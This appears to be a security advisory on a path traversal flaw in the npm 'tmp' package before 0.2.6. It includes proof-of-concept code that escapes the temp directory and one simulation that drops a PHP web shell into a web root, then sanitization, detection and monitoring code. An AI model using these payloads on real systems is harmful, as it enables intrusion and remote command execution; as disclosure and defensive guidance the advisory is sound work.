| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| tmp | < 0.2.6 | 0.2.6 |
| tmp | < 0.2.6 | 0.2.6 |
The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.
Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.
Technical Flow:
<prefix>-<pid>-<random>-<postfix>path.join(tmpDir, opts.dir, name)path.join() normalizes traversal sequences, allowing escapeVulnerable Pattern:
// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir
Path Traversal Mechanics:
../../../evil in prefix escapes directory structureopts.dir is absolute, path.join() ignores tmpDir completelypath.join() resolves ../ sequences regardless of surrounding text..\\), Unix (../), and mixed path systemsKey Vulnerability Points:
prefix, postfix, or dir parametersBạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phípath.join() normalization without containment checksBasic Path Traversal via prefix:
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);
// Escape via prefix
tmp.file({
tmpdir: baseDir,
prefix: '../escaped'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Created file:', filepath);
console.log('Relative to base:', path.relative(baseDir, filepath));
// Output shows: ../escaped-<pid>-<random>
cleanup();
});
Directory Escape via postfix:
tmp.file({
tmpdir: baseDir,
postfix: '/../../pwned.txt'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Escaped file:', filepath);
console.log('Escaped outside base:', !filepath.startsWith(baseDir));
cleanup();
});
Absolute Path Bypass via dir:
tmp.file({
tmpdir: '/safe/tmp/dir',
dir: '/tmp/evil-location',
prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Bypassed to:', filepath);
// File created in /tmp/evil-location instead of /safe/tmp/dir
cleanup();
});
Advanced Multi-Vector Attack:
const maliciousOpts = {
tmpdir: '/app/safe-tmp',
dir: '../../../tmp', // Escape base
prefix: '../sensitive-area/', // Further traversal
postfix: 'malicious.config' // Controlled filename
};
tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
// Results in file creation at: /tmp/sensitive-area/malicious.config
console.log('Final malicious path:', filepath);
cleanup();
});
Real-World Attack Simulation:
// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
return new Promise((resolve, reject) => {
tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
if (err) return reject(err);
fs.writeSync(fd, content);
console.log('User file created at:', path);
resolve({ path, cleanup });
});
});
}
// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory
Arbitrary File Creation:
Attack Scenarios:
1. Web Application Configuration Poisoning:
2. Cache Poisoning:
3. Build Pipeline Compromise:
4. Container Escape Attempt:
5. Multi-Tenant Service Bypass:
Business Impact:
Component Impact:
tmp.file() function - vulnerable to prefix/postfix/dir traversaltmp.dir() function - vulnerable to same parameter manipulationtmp.tmpName() function - if using affected path constructionSeverity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
CWE Classification:
Input Validation and Sanitization:
function sanitizePrefix(prefix) {
if (!prefix) return '';
// Remove path separators and traversal sequences
return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}
function sanitizePostfix(postfix) {
if (!postfix) return '';
// Allow only safe characters
return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
function validateDir(dir, baseDir) {
if (!dir) return '';
// Reject absolute paths
if (path.isAbsolute(dir)) {
throw new Error('Absolute paths not allowed for dir option');
}
// Resolve and check containment
const resolved = path.resolve(baseDir, dir);
const relative = path.relative(baseDir, resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Dir option escapes base directory');
}
return dir;
}
function validateFinalPath(finalPath, baseDir) {
const resolved = path.resolve(finalPath);
const relative = path.relative(path.resolve(baseDir), resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Generated path escapes temporary directory');
}
return resolved;
}
Secure Implementation Pattern:
function createTempFile(options) {
const opts = { ...options };
// Sanitize inputs
opts.prefix = sanitizePrefix(opts.prefix);
opts.postfix = sanitizePostfix(opts.postfix);
opts.dir = validateDir(opts.dir, opts.tmpdir);
// Create with sanitized options
return tmp.file(opts, (err, path, fd, cleanup) => {
if (err) return callback(err);
// Validate final path
try {
validateFinalPath(path, opts.tmpdir);
} catch (validationErr) {
cleanup();
return callback(validationErr);
}
callback(null, path, fd, cleanup);
});
}
For Application Developers:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
const safeOpts = {
...userOptions,
prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
dir: undefined // Don't allow user-controlled dir
};
return tmp.file(safeOpts);
}
function validateTmpPath(tmpPath, expectedBase) {
const relativePath = path.relative(expectedBase, tmpPath);
if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
throw new Error('Temporary file path escaped base directory');
}
return tmpPath;
}
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);
For Security Teams:
# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
return originalFile(options, (err, path, fd, cleanup) => {
if (!err && options.tmpdir) {
const relative = require('path').relative(options.tmpdir, path);
if (relative.startsWith('..')) {
console.warn('Path traversal detected:', path);
}
}
return callback(err, path, fd, cleanup);
});
};
Static Analysis:
Runtime Detection:
// Log suspicious tmp operations
function monitorTmpUsage() {
const originalTmpFile = require('tmp').file;
require('tmp').file = function(options = {}, callback) {
// Check for suspicious patterns
const suspicious = [
options.prefix && options.prefix.includes('..'),
options.postfix && options.postfix.includes('..'),
options.dir && path.isAbsolute(options.dir)
].some(Boolean);
if (suspicious) {
console.warn('Suspicious tmp usage detected:', options);
}
return originalTmpFile.call(this, options, callback);
};
}
File System Monitoring:
# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
echo "Unexpected file creation: $file"
fi
done
Reported by: Mapta / BugBunny_ai